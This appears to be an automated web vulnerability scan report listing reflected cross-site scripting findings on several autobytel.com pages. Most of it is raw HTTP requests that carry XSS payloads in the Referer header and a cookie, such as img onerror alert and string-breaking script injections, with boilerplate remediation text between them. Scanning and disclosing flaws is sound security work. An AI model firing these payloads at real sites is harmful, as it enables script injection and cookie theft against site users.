GET /content/home/help/index.cfm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274; Referer: http://www.google.com/search?hl=en&q=42ed3"%3balert(1)//0f0891904b3
The value of the Referer HTTP header is copied into an HTML comment. The payload cb3db--><img%20src%3da%20onerror%3dalert(1)>6e9f591d420 was submitted in the Referer HTTP header. This input was echoed as cb3db--><img src=a onerror=alert(1)>6e9f591d420 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /content/home/help/index.cfm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274; Referer: http://www.google.com/search?hl=en&q=cb3db--><img%20src%3da%20onerror%3dalert(1)>6e9f591d420
The value of the Referer HTTP header is copied into an HTML comment. The payload 9b173--><img%20src%3da%20onerror%3dalert(1)>95758ff5f56 was submitted in the Referer HTTP header. This input was echoed as 9b173--><img src=a onerror=alert(1)>95758ff5f56 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /content/home/help/index.cfm/action/about HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274; Referer: http://www.google.com/search?hl=en&q=9b173--><img%20src%3da%20onerror%3dalert(1)>95758ff5f56
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8b589"%3balert(1)//50ec6a055e4 was submitted in the Referer HTTP header. This input was echoed as 8b589";alert(1)//50ec6a055e4 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /content/home/help/index.cfm/action/about HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274; Referer: http://www.google.com/search?hl=en&q=8b589"%3balert(1)//50ec6a055e4
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload fcb62"%3balert(1)//a0c00af98bd was submitted in the Referer HTTP header. This input was echoed as fcb62";alert(1)//a0c00af98bd in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /content/home/help/index.cfm/action/contact HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274; Referer: http://www.google.com/search?hl=en&q=fcb62"%3balert(1)//a0c00af98bd
The value of the Referer HTTP header is copied into an HTML comment. The payload 3ef12--><img%20src%3da%20onerror%3dalert(1)>8e8f0c27a06 was submitted in the Referer HTTP header. This input was echoed as 3ef12--><img src=a onerror=alert(1)>8e8f0c27a06 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /content/home/help/index.cfm/action/contact HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274; Referer: http://www.google.com/search?hl=en&q=3ef12--><img%20src%3da%20onerror%3dalert(1)>8e8f0c27a06
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 993ca"%3balert(1)//86d7bd50876 was submitted in the Referer HTTP header. This input was echoed as 993ca";alert(1)//86d7bd50876 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /content/home/help/index.cfm/action/privacy HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274; Referer: http://www.google.com/search?hl=en&q=993ca"%3balert(1)//86d7bd50876
The value of the Referer HTTP header is copied into an HTML comment. The payload 80808--><img%20src%3da%20onerror%3dalert(1)>f990e3ef845 was submitted in the Referer HTTP header. This input was echoed as 80808--><img src=a onerror=alert(1)>f990e3ef845 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /content/home/help/index.cfm/action/privacy HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274; Referer: http://www.google.com/search?hl=en&q=80808--><img%20src%3da%20onerror%3dalert(1)>f990e3ef845
The value of the Referer HTTP header is copied into an HTML comment. The payload 518a5--><img%20src%3da%20onerror%3dalert(1)>3344f3486f4 was submitted in the Referer HTTP header. This input was echoed as 518a5--><img src=a onerror=alert(1)>3344f3486f4 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /content/home/help/index.cfm/action/terms HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274; Referer: http://www.google.com/search?hl=en&q=518a5--><img%20src%3da%20onerror%3dalert(1)>3344f3486f4
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 57975"%3balert(1)//9e360c8f5f0 was submitted in the Referer HTTP header. This input was echoed as 57975";alert(1)//9e360c8f5f0 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /content/home/help/index.cfm/action/terms HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274; Referer: http://www.google.com/search?hl=en&q=57975"%3balert(1)//9e360c8f5f0
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 19094"%3balert(1)//ce2e6207b9e was submitted in the Referer HTTP header. This input was echoed as 19094";alert(1)//ce2e6207b9e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /content/home/index.cfm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274; Referer: http://www.google.com/search?hl=en&q=19094"%3balert(1)//ce2e6207b9e
The value of the Referer HTTP header is copied into an HTML comment. The payload acf44--><img%20src%3da%20onerror%3dalert(1)>f2e0ef7d622 was submitted in the Referer HTTP header. This input was echoed as acf44--><img src=a onerror=alert(1)>f2e0ef7d622 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /content/home/index.cfm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274; Referer: http://www.google.com/search?hl=en&q=acf44--><img%20src%3da%20onerror%3dalert(1)>f2e0ef7d622
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a81cb"%3balert(1)//4abd427f15d was submitted in the Referer HTTP header. This input was echoed as a81cb";alert(1)//4abd427f15d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /content/research/Reviews/index.cfm/action/addCtdStep1/reviewDo/Read/ HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274; Referer: http://www.google.com/search?hl=en&q=a81cb"%3balert(1)//4abd427f15d
The value of the Referer HTTP header is copied into an HTML comment. The payload 9d81c--><img%20src%3da%20onerror%3dalert(1)>2c2ef4eb7df was submitted in the Referer HTTP header. This input was echoed as 9d81c--><img src=a onerror=alert(1)>2c2ef4eb7df in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /content/research/Reviews/index.cfm/action/addCtdStep1/reviewDo/Read/ HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274; Referer: http://www.google.com/search?hl=en&q=9d81c--><img%20src%3da%20onerror%3dalert(1)>2c2ef4eb7df
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8c06a"%3balert(1)//ecd19609a5d was submitted in the Referer HTTP header. This input was echoed as 8c06a";alert(1)//ecd19609a5d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /content/research/article/index.cfm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274; Referer: http://www.google.com/search?hl=en&q=8c06a"%3balert(1)//ecd19609a5d
The value of the Referer HTTP header is copied into an HTML comment. The payload 5f58d--><img%20src%3da%20onerror%3dalert(1)>4dfd8201d14 was submitted in the Referer HTTP header. This input was echoed as 5f58d--><img src=a onerror=alert(1)>4dfd8201d14 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
